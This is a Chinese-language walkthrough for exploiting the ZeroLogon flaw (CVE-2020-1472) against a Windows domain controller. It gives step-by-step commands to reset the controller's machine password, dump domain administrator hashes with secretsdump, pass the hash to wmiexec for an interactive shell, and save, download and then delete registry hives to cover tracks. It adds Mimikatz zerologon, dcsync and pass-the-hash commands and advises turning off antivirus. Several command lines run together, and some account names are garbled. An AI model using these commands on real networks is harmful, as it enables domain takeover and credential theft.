CVE-2020-1472攻击过程
漏洞介绍
在去年9月份,国外披露了CVE-2020-1472(又被叫做ZeroLogon)的漏洞详情,网上也随即公开了Exp。
是近几年windows上比较重量级别的一个漏洞。通过该漏洞,攻击者只需能够访问域控的445端口,在无需任何凭据的情况下能拿到域管的权限。
该漏洞的产生来源于Netlogon协议认证的加密模块存在缺陷,导致攻击者可以在没有凭证的情况情况下通过认证。该漏洞的最稳定利用是调用netlogon中RPC函数NetrServerPasswordSet2来重置域控的密码,从而以域控的身份进行Dcsync获取域管权限。CVE-2020-1472来重置域控密码。
注意,这里是域控密码,不是域管的密码。是域控这个机器用户的密码。可能对域不是很熟悉的人对这点不是很了解。在域内,机器用户跟域用户一样,是域内的成员,他在域内的用户名是机器用户+$(如DC2016\$),在本地的用户名是SYSTEM。
在拥有域控的机器用户密码的情况下,并不能直接使用该密码登录域控,因为机器用户是不可以登录的,但是因为域控的机器用户具备Dcsync特权,我们就可以滥用该特权来进行Dcsync。
环境
攻击机 windows 10
域控服务器 windows server 2012 192.168.139.147
python 3.8
准备工具
- https://github.com/VoidSec/CVE-2020-1472
- https://github.com/maaaaz/impacket-examples-windows 【这是下面包中脚本转成的exe】
- https://github.com/SecureAuthCorp/impacket
impacket需要使用最新的要用Impacket v0.9.22.dev1+20200915.160006.1397e2b5,并不是release中,或者pip中直接指定的
建议:git clone
https://github.com/SecureAuthCorp/impacket.git
当然也可以直接:
其次如果使用的linux,执行脚本在出现$之类的特殊字符需要\转义,我在window下执行,没遇到这个问题,域和计算机名搞混淆,导致参数填写错误,哪个是域,哪个是计算机名,看下图:
关于坑点
在windows中有python启动器,py -3指定使用python3,防止选错python版本。
安装impacket这步,手动安装,并且把requirements.txt中的impacket==0.9.21这行去掉,不然执行py -3 pip install -r requirements.txt安装其他库时,impacket又装一遍,会覆盖掉最新版。
安装过程
先卸载旧版本
py -3 -m pip uninstall impacket
安装新版本
git clone https://github.com/SecureAuthCorp/impacketcd impacketpy -3 setup.py install
报错说明
AttributeError:
module'impacket.dcerpc.v5.nrpc' has no attribute 'NetrServerPasswordSet2',属于坑点1,手动安装impacket解决。
secretsdump.py执行后无法获取NTDS.DIT信息,多半是域和计算机名混淆或者出现$未转义,对照坑点计算机名确认。
[-] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)
多半是域和计算机名混淆或者出现$未转义,对照坑点3的图片,确认下,自己环境中对应的参数填写正确没。
利用
环境准备就绪以后,运行exp,记得关杀软
py -3 cve-2020-1472-exploit.py -n DC -t 192.168.1.150-n 计算机名-t 域控ip
检测到存在漏洞,Y继续清空域控密码
成功之后用刚刚下载的
impacket-examples-windows
通过secretsdump.exe dump 域管 hash
.\secretsdump.exe -no-pass -just-dc DC$@192.168.1.150-no-pass 无密码登录-just-dc 仅提取NTDS.DIT数据(NTLM哈希和Kerberos键)DC$@192.168.1.150 计算机名$@域控ip
获取域控机器shell 和 导出域控计算机帐户的原始NT哈希
hashes 域管理员的nthash:lmhash.\wmiexec.exe–hashes aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95abtest.com/administrator@192.168.1.150
此时会返回一个交互式域控shell
本地保存文件
reg save HKLM\SYSTEM system.savereg save HKLM\SAM sam.savereg save HKLM\SECURITY security.save
下载文件
get system.saveget sam.saveget security.save
擦屁股
del /f system.savedel /f sam.savedel /f security.save
读取下载的文件计算原本的机器用户密码
.\ secretsdump.exe -sam sam.save -system system.save -security security.save LOCAL
随后把密码锤回去,这里使用的值是$MACHINE.ACC: 后的hash
.\secretsdump.exe -no-pass -just-dc DC$@192.168.1.150-no-pass 无密码登录-just-dc 仅提取NTDS.DIT数据(NTLM哈希和Kerberos键)DC$@192.168.1.150 计算机名$@域控ip
Mimikatz利用方式
探测是否存在漏洞
lsadump::zerologon/target:192.168.1.150 /account?C$lsadump::zerologon/target:192.168.1.150 /account?C$ /exploit 攻击
lsadump::dcsync /domain:test.com /dc?C /user:Administrator/authuser?C$/authdomain:test/authpassword:""/authntlm
----通过dcsync dump域管hash
提升权限注入会话
privilege::debugsekurlsa::pth/user:Administrator/doamin:. /rc4:570a9a65db8fba761c1008a51d4c95ab
在注入会话的窗口打开mimikatz 恢复机器用户密码 随后可以开始下一步操作
lsadump::postzerologon /target:192.168.1.150 /account?C$
参考:
1.https://www.t00ls.net/viewthread.php?tid=57866&extra=&highlight=cve-2020-1472&page=1
2.https://mp.weixin.qq.com/s/S9Hwb1-lLhh4QfI4b551SQ
